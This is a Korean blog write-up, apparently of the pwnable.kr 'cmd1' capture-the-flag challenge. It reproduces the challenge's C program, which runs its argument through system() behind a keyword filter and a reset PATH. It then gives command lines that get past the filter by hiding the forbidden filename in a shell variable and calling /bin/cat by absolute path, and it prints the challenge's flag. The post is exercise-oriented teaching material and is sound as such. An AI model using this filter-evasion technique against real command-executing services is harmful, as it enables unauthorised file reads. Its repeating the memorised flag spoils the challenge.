시스템 해킹 & 보안

[7] cmd1 - 필터 우회와 PATH 조작 - pwnable.kr

ahhyun98 2025. 7. 4. 17:54

 

시스템 해킹 문제들

https://pwnable.kr/

 

https://pwnable.kr/

   there are flag   files corresponding to each challenges (similar to CTF), you need to read it and submit to pwnable.kr to get the corresponding point. in order to read the flag file, you need some skills regarding programming, reverse-engineering, bu

pwnable.kr

 


문제

cmd1.c

#include <stdio.h>      // 표준 입출력 함수 포함
#include <string.h>     // strstr() 함수 사용을 위한 문자열 처리 라이브러리

// 필터 함수: 금지된 문자열이 포함되어 있는지 확인
int filter(char* cmd) {
    int r = 0;
    r += strstr(cmd, "flag") != 0;
    r += strstr(cmd, "sh") != 0;
    r += strstr(cmd, "tmp") != 0;
    return r;
}

int main(int argc, char* argv[], char** envp) {
    // 환경변수 PATH를 /thankyouverymuch로 고정
    putenv("PATH=/thankyouverymuch");

    // 필터링에 걸리면 종료
    if (filter(argv[1])) return 0;

    // 커맨드 실행
    system(argv[1]);

    return 0;
}

 

putenv("PATH=/thankyouverymuch");
if(filter(argv[1])) return 0;
system(argv[1]);

 

filter()는 flag, sh, tmp가 명령어 내에 포함되면 실행하지 않는다. 

게다가 PATH도 /thankyouverymuch로 고정시켜, 기본 명령어 사용을 제한한다. 


공격

1) flag, sh, tmp가 포함된 문자열을 피해야 한다. 

2) 기본 명령어 cat도 PATH 문제로 실행되지 않는다. 3) /bin/cat과 같은 절대 경로를 명시하여야 실행 가능하다.

 

$ ./cmd1 "/bin/cat flag"

 

=> filter()에서 flag 문자열이 포함되어 탐지됨 => 실패

 

 

=> flag라는 값을 감지하기 때문에 이런식으로도 넣어보았다. 

이렇게 넣어도 안되는 것을 확인할 수 있다. 

 

안되는 이유

 

0x0000000000400633 <+48> : call 0x400594 <filter>

 

 

 

필터 우회 방법

$ ./cmd1 "echo \$x"
flag

$ ./cmd1 "/bin/cat \$x"
mommy now I get what PATH environment is for :)

 

 

 

 

이 블로그는 불법 해킹 및 악의적인 활동을 지양하며, 그런 행위는 절대 권장하지 않습니다.

모든 실습은 허가된 환경에서만 진행해야 하며, 법적 책임은 사용자 본인에게 있습니다.